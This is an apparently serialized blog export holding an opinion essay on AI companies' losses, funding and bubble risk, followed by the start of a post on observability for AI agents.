Value",[1072,1939,1940],{},"Purpose",[1084,1942,1943,1954,1965,1976,1987,1998,2009,2020],{},[1069,1944,1945,1948,1951],{},[1089,1946,1947],{},"Broadcom",[1089,1949,1950],{},"~$350B",[1089,1952,1953],{},"Custom AI chips (10 GW)",[1069,1955,1956,1959,1962],{},[1089,1957,1958],{},"Oracle",[1089,1960,1961],{},"up to $300B",[1089,1963,1964],{},"Cloud infrastructure",[1069,1966,1967,1970,1973],{},[1089,1968,1969],{},"Microsoft Azure",[1089,1971,1972],{},"$250B",[1089,1974,1975],{},"Cloud computing",[1069,1977,1978,1981,1984],{},[1089,1979,1980],{},"Nvidia",[1089,1982,1983],{},"up to $100B",[1089,1985,1986],{},"GPU procurement",[1069,1988,1989,1992,1995],{},[1089,1990,1991],{},"AMD",[1089,1993,1994],{},"$90B",[1089,1996,1997],{},"Chip supply",[1069,1999,2000,2003,2006],{},[1089,2001,2002],{},"Amazon AWS",[1089,2004,2005],{},"$38B",[1089,2007,2008],{},"Cloud services",[1069,2010,2011,2014,2017],{},[1089,2012,2013],{},"CoreWeave",[1089,2015,2016],{},"$22.4B",[1089,2018,2019],{},"GPU cloud",[1069,2021,2022,2025,2028],{},[1089,2023,2024],{},"Cerebras",[1089,2026,2027],{},"$10B+",[1089,2029,2030],{},"AI accelerators",[49,2032,2033],{},"One point four trillion dollars. In commitments. By a company that lost $5 billion last year.",[49,2035,2036,2037,2040],{},"For context: $1.4 trillion is more than the GDP of Australia.\nSam Altman told Axios in October 2025 that he eventually wants to spend ",[1253,2038,2039],{},"one trillion dollars per year"," on infrastructure.\nPer year. The man runs a company that has never been profitable and he's planning to spend a trillion annually on data centers.",[49,2042,2043],{},"Somewhere, an accountant is having a very bad year.",[102,2045],{},[44,2047,2049],{"id":2048},"the-tell","The Tell",[49,2051,2052],{},"On February 9, 2026, OpenAI started showing ads in ChatGPT.",[49,2054,2055],{},"Ads. In a chatbot. In the product that was supposed to replace Google Search, not become it.",[49,2057,2058,2059],{},"For free-tier and Go-tier ($8/month) users in the US, sponsored content now appears beneath ChatGPT's responses.\nPlus ($20/month) and Pro ($200/month) subscribers are spared – for now.\nAltman wrote on X that \"a lot of people want to use a lot of AI and don't want to pay,\" adding that OpenAI is\n",[1253,2060,2061],{},"\"hopeful a business model like this can work.\"",[49,2063,2064],{},"Hopeful. Not confident. Hopeful.",[49,2066,2067,2068,1334],{},"A company valued at over half a trillion dollars. Backed by $64 billion in venture capital. Armed with $1.4 trillion in\ninfrastructure commitments. And its CEO is publicly ",[1253,2069,2070],{},"hoping",[49,2072,2073],{},"Anthropic responded during Super Bowl LX with a series of ad spots mocking the very concept of advertising in AI\nchatbots, emphasizing that Claude would remain ad-free. A punch thrown by a company burning through its own pile of\ninvestor cash – but it landed, because the joke wrote itself.",[49,2075,2076],{},"Here's why the ads matter: they are a tell. In poker, a tell is an involuntary gesture that reveals the strength of a\nhand. When a company that raised $64 billion starts showing ads to free users, the arithmetic has spoken – even if the\nCEO hasn't.",[49,2078,2079,2080],{},"And it gets worse. Altman publicly admitted that even the Pro tier – the $200/month one – is unprofitable: ",[1253,2081,2082],{},"\"We are\ncurrently losing money on Pro subscriptions – people use the service much more intensively than we expected.\"",[49,2084,2085],{},"The free tier loses money. The $8 tier loses money (plus ads). The $200 tier loses money.",[49,2087,2088],{},"The entire pricing menu is a loss leader without a leader.",[102,2090],{},[44,2092,2094],{"id":2093},"the-case-for-patience","The Case for Patience",[49,2096,2097],{},"The bull case for AI is not stupid. It is, in fact, the strongest argument for any technology investment in a\ngeneration.",[49,2099,2100,2103],{},[1092,2101,2102],{},"The growth is staggering."," Anthropic grew from roughly $1 billion ARR in early 2025 to $14 billion by February 2026.\nFourteen times in twelve months. The number of customers spending\nover $100K annually on Claude grew 7x year-over-year. Claude Code alone – their AI coding assistant – hit $2.5 billion\nARR, doubling since January. OpenAI's ChatGPT is \"back to exceeding 10% monthly growth,\" per Altman. These are real\nproducts with real users paying real money.",[49,2105,2106,2109],{},[1092,2107,2108],{},"Hardware efficiency is improving."," DeepSeek demonstrated in early 2025 that frontier-quality models can be built for\ndramatically less. Mistral's Small 3 achieves ~81% of models three times its size, at 30% higher speed, running on a\nsingle GPU. The cost curve is bending.",[49,2111,2112,2115],{},[1092,2113,2114],{},"The addressable market is enormous."," J.P. Morgan estimates the global IT services market\nat $4.7 trillion. If AI captures even 15% of that, you're looking at $700 billion in annual revenue. The enterprise\nadoption data is real: Anthropic's 300,000+ business clients aren't a vanity metric – they're purchase orders.",[49,2117,2118,2121],{},[1092,2119,2120],{},"The precedent exists."," Amazon lost money for seven years. Its 2001 annual report was titled \"What were you thinking?\"\nFourteen years later it was the most valuable company on Earth. Netflix, Tesla, Uber – all followed the same arc:\ncatastrophic losses, skeptical press, then dominance.",[49,2123,2124],{},"Anthropic may get there sooner than OpenAI. OpenAI's own projections point to 2029–2030. If the growth continues and costs decline – and both are plausible – the current spending will look like vision, not insanity.",[49,2126,2127],{},"That's the bull case. I stated it honestly and I don't dismiss it.",[49,2129,2130],{},"Now.",[102,2132],{},[44,2134,2136],{"id":2135},"the-math","The Math",[49,2138,2139],{},"Here's what the bull case requires you to believe – simultaneously:",[49,2141,2142,2145],{},[1092,2143,2144],{},"That revenue will grow at 10–14x annually for years."," Anthropic targets $26 billion for 2026 and $70 billion by 2028. OpenAI aims for $100 billion by 2029. No technology company in history has sustained this trajectory at this scale for this long. Google's fastest growth phase – 2004 to 2008 – averaged roughly 70% year-over-year, not 1,000%.",[49,2147,2148],{},"The AI companies aren't projecting growth. They're projecting miracles.",[49,2150,2151,2152,2155],{},"J.P. Morgan put a number on what the miracle requires: ",[1092,2153,2154],{},"$650 billion in annual AI revenue"," just to deliver a 10% return on infrastructure. That's $35 per month from every iPhone user on the planet. In perpetuity.",[49,2157,2158,2161,2162,2165,2166,2169],{},[1092,2159,2160],{},"That the unit economics will eventually work."," They don't today. OpenAI's own projections show $345 billion in revenue against $488 billion in compute alone through 2029 – costs ",[1253,2163,2164],{},"accelerating",", not decelerating. Meanwhile, S&P Global found that ",[1092,2167,2168],{},"42% of enterprise AI initiatives were scrapped"," in 2025, up from 17% the year before. MIT's Nanda Research reported 95% of organizations getting zero return from generative AI investment. The customers are arriving. They're also leaving. Costs rising, demand churning – the scissors are closing on the wrong side of the blade.",[49,2171,2172,2175],{},[1092,2173,2174],{},"That no competitor will commoditize the market."," DeepSeek already sent a warning shot – Nvidia lost $589 billion in\nmarket cap in a single day. Open-source models from Meta (Llama) and Mistral are free. When your product is\nintelligence-as-a-service and the service is getting cheaper, your moat is a sandcastle at high tide.",[49,2177,2178,2181],{},[1092,2179,2180],{},"That the margin won't be eaten alive."," Stock-based compensation of $2.5 billion at OpenAI in six months – not revenue, compensation – just to keep researchers from walking across the street. Anthropic paid $1.5 billion in copyright settlements, the largest in US history. The EU's AI Act is enforcing compliance costs. The talent war, the lawyers, and the regulators are all billing by the hour – and none of them care about your revenue projections.",[49,2183,2184,2187],{},[1092,2185,2186],{},"That the IPO window stays open."," Both companies are preparing for public offerings. These IPOs aren't milestones – they're oxygen tanks. The companies need public market capital to sustain the burn rate. If the window closes – recession, market correction, a bad quarter – the funding chain breaks.",[49,2189,2190],{},"Every assumption must hold simultaneously. If one fails, the spreadsheet doesn't just deteriorate.",[49,2192,2193],{},"It collapses.",[102,2195],{},[44,2197,2199],{"id":2198},"the-parallel-nobody-wants","The Parallel Nobody Wants",[49,2201,2202,2203],{},"People hate the dot-com comparison. It makes them squirm. The AI boosters dismiss it reflexively: ",[1253,2204,2205],{},"this time is\ndifferent, the technology is real, the revenue is real.",[49,2207,2208],{},"They're right. The technology is real. The revenue is real. The adoption is real.",[49,2210,2211],{},"So was the internet in 1999.",[49,2213,2214],{},"In the late 1990s, telecoms laid millions of miles of fiber optic cable. By 2005, only 5% of it carried any light. The\nrest sat in the ground – dark fiber, built for a future that took fifteen years to arrive. The companies that laid it –\nWorldCom, Global Crossing – went bankrupt. The fiber itself eventually became valuable. The investors who paid for it\ngot nothing.",[49,2216,2217,2218,2221],{},"Today the industry is building data centers at a pace that would require ",[1092,2219,2220],{},"$8 trillion in infrastructure",", per IBM's\nCEO. OpenAI alone plans 30 gigawatts of capacity. The question isn't whether AI compute will eventually be needed. It's\nwhether the companies building it will survive long enough to see demand catch up.",[49,2223,2224],{},"Pets.com was right about e-commerce. Webvan was right about grocery delivery. They were right. And they were dead.",[49,2226,2227],{},"Builder.ai was valued at $1.5 billion. Raised $445 million. Filed for bankruptcy in May 2025 – after it was exposed that\nhumans were secretly doing the work marketed as AI. The AI company that wasn't even doing AI. At least Pets.com was\nactually selling pet food.",[49,2229,2230],{},"Sam Altman himself admitted that \"an AI bubble is ongoing\" and investors would \"overinvest and lose money.\" Ray Dalio\ncompared the current cycle to dot-com. Jamie Dimon warned of a \"higher chance of a meaningful drop in stocks.\"",[49,2232,2233,2234,2237],{},"When the builder, the macro investor, and the banker all use the same word – ",[1253,2235,2236],{},"bubble"," – that word is no longer a\nmetaphor.",[102,2239],{},[44,2241,2243],{"id":2242},"what-this-means-if-youre-building","What This Means If You're Building",[49,2245,2246],{},"This is the part nobody writes, because analysts chase valuations and journalists chase headlines.",[49,2248,2249,2250],{},"If you are a developer, a startup founder, or an engineer building on top of these platforms – ",[1092,2251,2252],{},"you are building on a\nfoundation that has not proven it can sustain itself.",[49,2254,2255,2256,2259],{},"Your API costs? Below the actual cost of inference – subsidized by venture capital. Your model integration? Could be\nrepriced, rate-limited, or deprecated when the burn rate forces hard choices.\nYour ",[56,2257,2258],{"href":1328},"cloud bill that hit $47 on a Tuesday","? That was the discounted\nversion. The real price hasn't arrived yet.",[49,2261,2262],{},"This has already started. OpenAI introduced usage limits and ads. Anthropic throttled developer access, sparking a\nrevolt – Trustpilot ratings cratered to 1.4 stars. Free tiers are shrinking. Prices are creeping. The subsidy era is\nending – not because the companies choose it, but because the arithmetic demands it.",[49,2264,2265,2266,2269,2270],{},"The question for builders isn't ",[1253,2267,2268],{},"will AI survive."," It will. The technology is real. The question is: ",[1092,2271,2272],{},"will your\ndependency on a specific provider survive the repricing?",[49,2274,2275],{},"This is a governance question.",[49,2277,2278,2279,1334],{},"And it's the reason I keep building ",[56,2280,2281],{"href":58},"what I'm building",[102,2283],{},[44,2285,2287],{"id":2286},"the-shepherds-take","The Shepherd's Take",[49,2289,2290],{},"The math doesn't add up. Yet.",[49,2292,2293],{},"It might. The revenue growth is extraordinary. The technology is genuine. The adoption is real. I use these tools every\nday. I build with them. I am not a doomer, and this is not a doom dispatch.",[49,2295,2296],{},"But extraordinary revenue growth that's still dwarfed by extraordinary costs is not a business.",[49,2298,2299],{},"It's a promissory note. And promissory notes run on faith, not arithmetic.",[49,2301,2302],{},"The $143 billion question isn't whether AI companies will earn more. They will. It's whether they'll ever earn more than they spend. For OpenAI, the answer – by their own projections – doesn't arrive until the end of this decade. For Anthropic, maybe two years sooner. And until then, every user, every developer, every enterprise customer is building on borrowed time and borrowed money.",[49,2304,2305],{},"Own your stack. Understand your costs. Build on land you hold the deed to.",[49,2307,2308],{},"The eye sees the burn. But seeing isn't enough – you need rules for what happens when the subsidies end and the real\nprices arrive.",[49,2310,1651,2311,2314],{},[1092,2312,2313],{},"The Eye, Part 2"," – the practice. A repo you can clone. Dashboards you can see in ten minutes. The eye,\ndeployed.",[102,2316],{},[1659,2318,2319],{"color":1661,"icon":1662},[49,2320,1665],{},[1667,2322,2323,2327],{":name":1669,":src":1670},[1672,2324,2325],{"v-slot:body":120},[49,2326,1676],{},[1672,2328,2329],{"v-slot:actions":120},[1680,2330],{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},{"title":120,"searchDepth":158,"depth":168,"links":2332},[2333,2334,2335,2336,2337,2338,2339,2340,2341,2342],{"id":1742,"depth":158,"text":1743},{"id":1778,"depth":158,"text":1779},{"id":1803,"depth":158,"text":1804},{"id":1914,"depth":158,"text":1915},{"id":2048,"depth":158,"text":2049},{"id":2093,"depth":158,"text":2094},{"id":2135,"depth":158,"text":2136},{"id":2198,"depth":158,"text":2199},{"id":2242,"depth":158,"text":2243},{"id":2286,"depth":158,"text":2287},"2026-02-13T00:00:00.000Z","$143 billion in losses before the first profit. $1.4 trillion in infrastructure deals. The AI industry's math doesn't add up – and everyone knows it.",{},"---\ntitle: \"Faith-Based Arithmetic\"\ndate: 2026-02-13\ndescription: \"$143 billion in losses before the first profit. $1.4 trillion in infrastructure deals. The AI industry's math doesn't add up – and everyone knows it.\"\nseo_title: \"AI Bubble Economics: Why $143 Billion in Losses Before the First Profit\"\nseo_description: \"$143 billion in AI losses before the first profit. $1.4 trillion in infrastructure deals. The AI bubble math doesn't add up – and the builders are paying the price.\"\ntags: [ ai-bubble, ai-industry-economics, openai, anthropic, opinion ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-02-13\n---\n\n## The Number\n\nI wasn't planning to write this dispatch. I was wiring up monitoring dashboards for [The Eye](/articles/the-eye/), doing\nthe quiet work – when a number landed on my screen that made me put down my coffee.\n\nOne hundred and forty-three billion dollars.\n\nThat's the projected negative free cash flow for OpenAI from 2024 through 2029. $143 billion in the hole before the\nfirst dollar of profit. More than NASA has spent since the Apollo program. Burned through in six years by a company that\nsells chatbot subscriptions and API calls.\n\nThe analysts wrote a sentence I keep coming back to: \n> *\"No startup in history has operated with losses on anything approaching this scale. \u003Cbr>\n> We are firmly in uncharted territory.\"*\n\nUncharted territory is where people get lost. But the fundraising doesn't care about maps – it cares about faith.\n\n---\n\n## The Collection Plate\n\nOn February 12, 2026 – yesterday, as I write this – Anthropic closed its Series G. Thirty billion dollars.\nValuation: $380 billion. Led by GIC and Coatue. Total raised to date: approximately $64 billion.\n\nThe same week, OpenAI is negotiating what could become the largest private funding round in history: up\nto $100 billion, at a valuation of $830 billion. Amazon, Microsoft, and Nvidia are at the table. Total previously\nraised: also roughly $64 billion.\n\nTwo companies. Neither profitable. Combined fundraising: $128 billion and counting. Combined valuation: $1.2 trillion.\nCombined annual profit: negative.\n\nThere has never been this much money invested in two companies that have never turned a profit. Not in railroads. Not in\ntelecoms. Not in the dot-com boom. Not in crypto. This is new. The kind of new where the map says *here be dragons* and\nthe venture capitalists say *the dragons will monetize in 2030.*\n\n---\n\n## The Spreadsheet\n\nThe numbers are public now – pieced together from WSJ documents, Fortune, The Information, and company disclosures.\nHere's what OpenAI's ledger looks like:\n\n| Period               | Revenue          | Losses              | Note                       |\n|----------------------|------------------|---------------------|----------------------------|\n| FY 2024              | $3.7B            | ~$5B                | First full-year figures    |\n| H1 2025              | $4.3B            | $13.5B              | Incl. $6.7B R&D, $2.5B SBC |\n| FY 2025 (est.)       | ~$12-13B         | ~$8-9B cash burn    | Revenue doubling monthly   |\n| FY 2028 (projected)  | –                | $74B operating loss | Per WSJ-published docs     |\n| 2024–2029 cumulative | $345B (forecast) | –                   | –$143B FCF                 |\n\nOpenAI forecasts $345 billion in revenue between 2024 and 2029. Compute expenses alone are projected at $488 billion\nover the same period.\n\n**The more they sell, the more they lose.**\n\nThis is not a company searching for product-market fit. They found the fit. Eight hundred million weekly active users.\nMore than ten million paying subscribers. Genuine, massive, undeniable traction.\n\nAnd for every dollar in, a dollar forty goes out.\n\n---\n\n## The $1.4 Trillion Tab\n\nBut that's the income statement. The balance sheet is where it gets truly surreal.\n\nIn a single year – 2025 – OpenAI announced infrastructure commitments worth over **$1.4 trillion**. \nNot all signed contracts – some are MOUs, some are multi-year frameworks – but the scale is real:\n\n| Partner         | Committed Value | Purpose                 |\n|-----------------|-----------------|-------------------------|\n| Broadcom        | ~$350B          | Custom AI chips (10 GW) |\n| Oracle          | up to $300B     | Cloud infrastructure    |\n| Microsoft Azure | $250B           | Cloud computing         |\n| Nvidia          | up to $100B     | GPU procurement         |\n| AMD             | $90B            | Chip supply             |\n| Amazon AWS      | $38B            | Cloud services          |\n| CoreWeave       | $22.4B          | GPU cloud               |\n| Cerebras        | $10B+           | AI accelerators         |\n\nOne point four trillion dollars. In commitments. By a company that lost $5 billion last year.\n\nFor context: $1.4 trillion is more than the GDP of Australia. \nSam Altman told Axios in October 2025 that he eventually wants to spend *one trillion dollars per year* on infrastructure. \nPer year. The man runs a company that has never been profitable and he's planning to spend a trillion annually on data centers.\n\nSomewhere, an accountant is having a very bad year.\n\n---\n\n## The Tell\n\nOn February 9, 2026, OpenAI started showing ads in ChatGPT.\n\nAds. In a chatbot. In the product that was supposed to replace Google Search, not become it.\n\nFor free-tier and Go-tier ($8/month) users in the US, sponsored content now appears beneath ChatGPT's responses. \nPlus ($20/month) and Pro ($200/month) subscribers are spared – for now. \nAltman wrote on X that \"a lot of people want to use a lot of AI and don't want to pay,\" adding that OpenAI is \n*\"hopeful a business model like this can work.\"*\n\nHopeful. Not confident. Hopeful.\n\nA company valued at over half a trillion dollars. Backed by $64 billion in venture capital. Armed with $1.4 trillion in\ninfrastructure commitments. And its CEO is publicly *hoping*.\n\nAnthropic responded during Super Bowl LX with a series of ad spots mocking the very concept of advertising in AI\nchatbots, emphasizing that Claude would remain ad-free. A punch thrown by a company burning through its own pile of\ninvestor cash – but it landed, because the joke wrote itself.\n\nHere's why the ads matter: they are a tell. In poker, a tell is an involuntary gesture that reveals the strength of a\nhand. When a company that raised $64 billion starts showing ads to free users, the arithmetic has spoken – even if the\nCEO hasn't.\n\nAnd it gets worse. Altman publicly admitted that even the Pro tier – the $200/month one – is unprofitable: *\"We are\ncurrently losing money on Pro subscriptions – people use the service much more intensively than we expected.\"*\n\nThe free tier loses money. The $8 tier loses money (plus ads). The $200 tier loses money.\n\nThe entire pricing menu is a loss leader without a leader.\n\n---\n\n## The Case for Patience\n\nThe bull case for AI is not stupid. It is, in fact, the strongest argument for any technology investment in a\ngeneration.\n\n**The growth is staggering.** Anthropic grew from roughly $1 billion ARR in early 2025 to $14 billion by February 2026.\nFourteen times in twelve months. The number of customers spending\nover $100K annually on Claude grew 7x year-over-year. Claude Code alone – their AI coding assistant – hit $2.5 billion\nARR, doubling since January. OpenAI's ChatGPT is \"back to exceeding 10% monthly growth,\" per Altman. These are real\nproducts with real users paying real money.\n\n**Hardware efficiency is improving.** DeepSeek demonstrated in early 2025 that frontier-quality models can be built for\ndramatically less. Mistral's Small 3 achieves ~81% of models three times its size, at 30% higher speed, running on a\nsingle GPU. The cost curve is bending.\n\n**The addressable market is enormous.** J.P. Morgan estimates the global IT services market\nat $4.7 trillion. If AI captures even 15% of that, you're looking at $700 billion in annual revenue. The enterprise\nadoption data is real: Anthropic's 300,000+ business clients aren't a vanity metric – they're purchase orders.\n\n**The precedent exists.** Amazon lost money for seven years. Its 2001 annual report was titled \"What were you thinking?\"\nFourteen years later it was the most valuable company on Earth. Netflix, Tesla, Uber – all followed the same arc:\ncatastrophic losses, skeptical press, then dominance.\n\nAnthropic may get there sooner than OpenAI. OpenAI's own projections point to 2029–2030. If the growth continues and costs decline – and both are plausible – the current spending will look like vision, not insanity.\n\nThat's the bull case. I stated it honestly and I don't dismiss it.\n\nNow.\n\n---\n\n## The Math\n\nHere's what the bull case requires you to believe – simultaneously:\n\n**That revenue will grow at 10–14x annually for years.** Anthropic targets $26 billion for 2026 and $70 billion by 2028. OpenAI aims for $100 billion by 2029. No technology company in history has sustained this trajectory at this scale for this long. Google's fastest growth phase – 2004 to 2008 – averaged roughly 70% year-over-year, not 1,000%.\n\nThe AI companies aren't projecting growth. They're projecting miracles.\n\nJ.P. Morgan put a number on what the miracle requires: **$650 billion in annual AI revenue** just to deliver a 10% return on infrastructure. That's $35 per month from every iPhone user on the planet. In perpetuity.\n\n**That the unit economics will eventually work.** They don't today. OpenAI's own projections show $345 billion in revenue against $488 billion in compute alone through 2029 – costs *accelerating*, not decelerating. Meanwhile, S&P Global found that **42% of enterprise AI initiatives were scrapped** in 2025, up from 17% the year before. MIT's Nanda Research reported 95% of organizations getting zero return from generative AI investment. The customers are arriving. They're also leaving. Costs rising, demand churning – the scissors are closing on the wrong side of the blade.\n\n**That no competitor will commoditize the market.** DeepSeek already sent a warning shot – Nvidia lost $589 billion in\nmarket cap in a single day. Open-source models from Meta (Llama) and Mistral are free. When your product is\nintelligence-as-a-service and the service is getting cheaper, your moat is a sandcastle at high tide.\n\n**That the margin won't be eaten alive.** Stock-based compensation of $2.5 billion at OpenAI in six months – not revenue, compensation – just to keep researchers from walking across the street. Anthropic paid $1.5 billion in copyright settlements, the largest in US history. The EU's AI Act is enforcing compliance costs. The talent war, the lawyers, and the regulators are all billing by the hour – and none of them care about your revenue projections.\n\n**That the IPO window stays open.** Both companies are preparing for public offerings. These IPOs aren't milestones – they're oxygen tanks. The companies need public market capital to sustain the burn rate. If the window closes – recession, market correction, a bad quarter – the funding chain breaks.\n\nEvery assumption must hold simultaneously. If one fails, the spreadsheet doesn't just deteriorate.\n\nIt collapses.\n\n---\n\n## The Parallel Nobody Wants\n\nPeople hate the dot-com comparison. It makes them squirm. The AI boosters dismiss it reflexively: *this time is\ndifferent, the technology is real, the revenue is real.*\n\nThey're right. The technology is real. The revenue is real. The adoption is real.\n\nSo was the internet in 1999.\n\nIn the late 1990s, telecoms laid millions of miles of fiber optic cable. By 2005, only 5% of it carried any light. The\nrest sat in the ground – dark fiber, built for a future that took fifteen years to arrive. The companies that laid it –\nWorldCom, Global Crossing – went bankrupt. The fiber itself eventually became valuable. The investors who paid for it\ngot nothing.\n\nToday the industry is building data centers at a pace that would require **$8 trillion in infrastructure**, per IBM's\nCEO. OpenAI alone plans 30 gigawatts of capacity. The question isn't whether AI compute will eventually be needed. It's\nwhether the companies building it will survive long enough to see demand catch up.\n\nPets.com was right about e-commerce. Webvan was right about grocery delivery. They were right. And they were dead.\n\nBuilder.ai was valued at $1.5 billion. Raised $445 million. Filed for bankruptcy in May 2025 – after it was exposed that\nhumans were secretly doing the work marketed as AI. The AI company that wasn't even doing AI. At least Pets.com was\nactually selling pet food.\n\nSam Altman himself admitted that \"an AI bubble is ongoing\" and investors would \"overinvest and lose money.\" Ray Dalio\ncompared the current cycle to dot-com. Jamie Dimon warned of a \"higher chance of a meaningful drop in stocks.\"\n\nWhen the builder, the macro investor, and the banker all use the same word – *bubble* – that word is no longer a\nmetaphor.\n\n---\n\n## What This Means If You're Building\n\nThis is the part nobody writes, because analysts chase valuations and journalists chase headlines.\n\nIf you are a developer, a startup founder, or an engineer building on top of these platforms – **you are building on a\nfoundation that has not proven it can sustain itself.**\n\nYour API costs? Below the actual cost of inference – subsidized by venture capital. Your model integration? Could be\nrepriced, rate-limited, or deprecated when the burn rate forces hard choices.\nYour [cloud bill that hit $47 on a Tuesday](/articles/fear-and-loathing-in-the-gas-town/)? That was the discounted\nversion. The real price hasn't arrived yet.\n\nThis has already started. OpenAI introduced usage limits and ads. Anthropic throttled developer access, sparking a\nrevolt – Trustpilot ratings cratered to 1.4 stars. Free tiers are shrinking. Prices are creeping. The subsidy era is\nending – not because the companies choose it, but because the arithmetic demands it.\n\nThe question for builders isn't *will AI survive.* It will. The technology is real. The question is: **will your\ndependency on a specific provider survive the repricing?**\n\nThis is a governance question.\n\nAnd it's the reason I keep building [what I'm building](/articles/the-eye/).\n\n---\n\n## The Shepherd's Take\n\nThe math doesn't add up. Yet.\n\nIt might. The revenue growth is extraordinary. The technology is genuine. The adoption is real. I use these tools every\nday. I build with them. I am not a doomer, and this is not a doom dispatch.\n\nBut extraordinary revenue growth that's still dwarfed by extraordinary costs is not a business.\n\nIt's a promissory note. And promissory notes run on faith, not arithmetic.\n\nThe $143 billion question isn't whether AI companies will earn more. They will. It's whether they'll ever earn more than they spend. For OpenAI, the answer – by their own projections – doesn't arrive until the end of this decade. For Anthropic, maybe two years sooner. And until then, every user, every developer, every enterprise customer is building on borrowed time and borrowed money.\n\nOwn your stack. Understand your costs. Build on land you hold the deed to.\n\nThe eye sees the burn. But seeing isn't enough – you need rules for what happens when the subsidies end and the real\nprices arrive.\n\nNext dispatch: **The Eye, Part 2** – the practice. A repo you can clone. Dashboards you can see in ten minutes. The eye,\ndeployed.\n\n---\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption. \nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":10,"description":2344},"$143 billion in AI losses before the first profit. $1.4 trillion in infrastructure deals. The AI bubble math doesn't add up – and the builders are paying the price.","AI Bubble Economics: Why $143 Billion in Losses Before the First Profit",{"loc":11,"lastmod":2351},"2026-02-13",[2353,2354,2355,2356,2357],"ai-bubble","ai-industry-economics","openai","anthropic","opinion","DhiAkt-SeElPUICKq2iRSqgHBsBJU8Z-WYcOF7CeGR4",{"id":2360,"title":22,"author":37,"author_avatar":38,"author_description":39,"body":2361,"date":2737,"description":2738,"extension":1716,"meta":2739,"navigation":292,"path":23,"rawbody":2740,"seo":2741,"seo_description":2742,"seo_title":2743,"sitemap":2744,"stem":24,"tags":2746,"thumbnail":38,"__hash__":2749},"articles/articles/the-eye.md",{"type":41,"value":2362,"toc":2723},[2363,2367,2373,2376,2379,2382,2385,2387,2391,2394,2397,2400,2403,2406,2409,2412,2414,2418,2421,2427,2430,2433,2437,2440,2443,2450,2457,2461,2471,2478,2489,2492,2496,2507,2510,2513,2516,2518,2522,2529,2534,2541,2546,2549,2554,2557,2562,2569,2571,2575,2581,2587,2593,2599,2602,2605,2612,2615,2618,2620,2624,2627,2630,2633,2636,2643,2646,2649,2652,2655,2657,2661,2664,2670,2673,2676,2679,2682,2684,2686,2692,2699,2706,2708,2713],[44,2364,2366],{"id":2365},"the-blind-commander","The Blind Commander",[49,2368,2369,2370,2372],{},"That ",[56,2371,1329],{"href":1328}," I told you about – one agent, one night, no\nsupervision? I found out from an email. An AWS billing email, at 9 AM, with my coffee going cold on the desk.",[49,2374,2375],{},"Not from my system. My system had nothing to say. No alert. No dashboard.\nNo blinking red light. Just an agent that had been running unsupervised for eight hours and a billing page that told the\nstory in retrospect – like reading about a car crash in the morning paper when you were the one driving.",[49,2377,2378],{},"I had built the agent. I had given it tools. I had given it access. What I hadn't given it was a single way to tell me\nwhat it was doing, how much it was spending, or whether any of it was working.",[49,2380,2381],{},"I was a commander giving orders into the dark. The only signal I received was the invoice.",[49,2383,2384],{},"A dashboard you check after the disaster is not a dashboard. It's an autopsy report.",[102,2386],{},[44,2388,2390],{"id":2389},"the-blindfold","The Blindfold",[49,2392,2393],{},"If that story made you uncomfortable – good. Your setup is identical.",[49,2395,2396],{},"Every AI agent deployment in 2026 shares the same architecture: tokens go in, something comes out, and everything in\nbetween is a black box. You know the prompt. You know the response. You know nothing about the journey.",[49,2398,2399],{},"Somewhere in a venture-funded office, a team is celebrating their agent's \"successful autonomous deployment.\" They know\nit was successful because the agent said so. They know the agent is reliable because it has never reported a failure. It\nhas also never reported anything else.",[49,2401,2402],{},"How much did that session cost? Which tools did the agent call? Which rules did it consult – or did it improvise because\nit couldn't find any? How long did it spend planning versus executing? Did it hallucinate a function that doesn't exist\nand then write tests for it?",[49,2404,2405],{},"You don't know. Nobody knows. The agent certainly won't tell you – it'll say \"task completed successfully\" with the\nconfidence of a surgeon who operated blindfolded and assumes the patient is fine because nobody screamed.",[49,2407,2408],{},"The industry ships agents like submarines without sonar. Full speed ahead, zero visibility, and the crew finds out about\nthe iceberg when the hull cracks.",[49,2410,2411],{},"This isn't a bug. This is the default.",[102,2413],{},[44,2415,2417],{"id":2416},"three-signals","Three Signals",[49,2419,2420],{},"Observability is an old discipline. Infrastructure engineers have been doing this for decades. But when it comes to AI\nagents, the industry collectively decided to skip the chapter. Too busy scaling. Too busy shipping. Too busy writing\nblog posts about autonomous agents while running them with less monitoring than a thermostat.",[49,2422,2423,2424,1334],{},"In Mass Effect, you always had a tactical display. Every squad member – position, shields, health, weapon status.\nReal-time. You didn't command Garrus by hoping he was fine. You ",[1253,2425,2426],{},"knew",[49,2428,2429],{},"Now imagine Shepard commanding the squad blindfolded. That's the current state of AI agent deployment.",[49,2431,2432],{},"The shepherd's eye sees three signals. Not because three is a magic number – because three is what you need.",[1236,2434,2436],{"id":2435},"metrics-the-pulse","Metrics: The Pulse",[49,2438,2439],{},"Numbers. Cold, unfeeling, beautiful numbers.",[49,2441,2442],{},"How many tokens did each agent consume today? What's the cost per model, per task type? How long do sessions take?\nWhat's the success rate? How many tool calls per session? How many of those calls failed?",[49,2444,2445,2446,2449],{},"Metrics are the vital signs. Pulse and blood pressure. They don't tell you ",[1253,2447,2448],{},"why"," the patient is sick, but they tell\nyou – instantly, without ambiguity – that something is wrong. Or that everything is fine and you can sleep.",[49,2451,2452,2453,2456],{},"The $47 Tuesday would have been a $5 Tuesday with one metric: ",[72,2454,2455],{},"cost_usd_total{agent, model}"," and an alert at $10. That's\nit. One number. One threshold. One night of sleep instead of one morning of dread.",[1236,2458,2460],{"id":2459},"logs-the-story","Logs: The Story",[49,2462,2463,2464,2467,2468,1334],{},"Metrics tell you ",[1253,2465,2466],{},"that"," something happened. Logs tell you ",[1253,2469,2470],{},"what",[49,2472,2473,2474,2477],{},"Every agent session produces a structured record: session ID, agent name, rules consulted, tools used, decisions made,\nduration. Not ",[72,2475,2476],{},"console.log(\"here\")"," – structured JSON that can be queried, filtered, correlated across sessions.",[49,2479,2480,2481,2484,2485,2488],{},"When an agent consults RULE-015 and then calls ",[72,2482,2483],{},"github.create_pr",", that's in the log. When an agent consults 